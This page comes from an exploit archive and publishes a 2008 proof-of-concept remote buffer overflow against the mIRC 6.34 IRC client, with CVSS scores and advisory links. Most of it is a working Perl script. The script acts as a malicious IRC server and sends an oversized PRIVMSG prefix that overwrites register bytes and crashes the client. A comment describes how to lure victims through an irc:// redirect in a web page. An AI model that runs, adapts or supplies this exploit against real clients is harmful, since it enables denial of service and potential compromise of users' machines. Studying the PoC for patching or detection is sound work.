mIRC 6.34 Remote Buffer Overflow PoC

2008-10-07 / 2008-10-08
Credit: mirc
Risk: High
Local: No
Remote: Yes
CWE: CWE-119


CVSS Base Score: 9.3/10
Impact Subscore: 10/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

################################################################################################## # Mirc 6.34 Remote Buffer Overflow # # This poc allow you to own the 2 first EDI & EDX bytes. # # To become remote, add a simple document.location.href=irc://server.com/... in some html page # use IO::Socket; sub sock() { my $sock=new IO::Socket::INET ( Listen => 1, LocalAddr => 'localhost', LocalPort => 6667, Proto => 'tcp'); die unless $sock; print " [+]IRC Server started on port 6667 \r\n"; $s=$sock->accept(); $a = "A" x 313; $twobytes = "\x43\x43"; print " [+]Sending pickles\r\n"; print $s ":irc_server.stuff 001 yow :Welcome to the Internet Relay Network yow\r\n"; sleep(1); print $s ":".$a.$twobytes." PRIVMSG yow : /FINGER yow.\r\n"; } while(1) { sock(); print " [+]Mirc should be down now, another little friend comming ?\r\n [+]Server Restarting\r\n"; }

References:

http://xforce.iss.net/xforce/xfdb/45624
http://www.securityfocus.com/bid/31552
http://www.frsirt.com/english/advisories/2008/2736


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top